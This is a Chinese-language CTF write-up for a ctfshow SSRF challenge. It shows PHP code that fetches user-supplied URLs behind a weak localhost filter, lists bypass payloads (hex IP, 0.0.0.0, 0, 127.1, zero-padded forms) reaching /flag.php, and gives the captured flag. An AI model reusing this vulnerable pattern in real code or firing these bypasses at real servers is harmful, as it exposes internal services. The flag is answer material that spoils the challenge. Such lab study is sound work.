nginx/1.18.0PHP/7.3.22

    1. <?php
    2. error_reporting(0);
    3. highlight_file(__FILE__);
    4. $url=$_POST['url'];
    5. $x=parse_url($url);
    6. if($x['scheme']==='http'||$x['scheme']==='https'){
    7. if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
    8. $ch=curl_init($url);
    9. curl_setopt($ch, CURLOPT_HEADER, 0);
    10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    11. $result=curl_exec($ch);
    12. curl_close($ch);
    13. echo ($result);
    14. }
    15. else{
    16. die('hacker');
    17. }
    18. }
    19. else{
    20. die('hacker');
    21. }
    22. ?>

    分析:
    协议必须是 http/https ,但过滤了 localhost 和 127.0.

    这里有许多绕过

    • 进制绕过

      1. url=http://0x7F000001/flag.php
    • 0.0.0.0 绕过

      1. url=http://0.0.0.0/flag.php
    • ipv6绕过 这里不行

    • 特殊地址绕过
      1. url=http://0/flag.php
      2. url=http://127.1/flag.php
      3. url=http://127.0000000000000.001/flag.php
      这里有个小知识点
      第一个 0 在linux系统中一般会解析成127.0.0.1 ,在windows 和 macos 中一般解析成0.0.0.0

    image.png
    flag
    ctfshow{ca28d7a2-0dd8-4cd4-9cfe-c035aa927c06}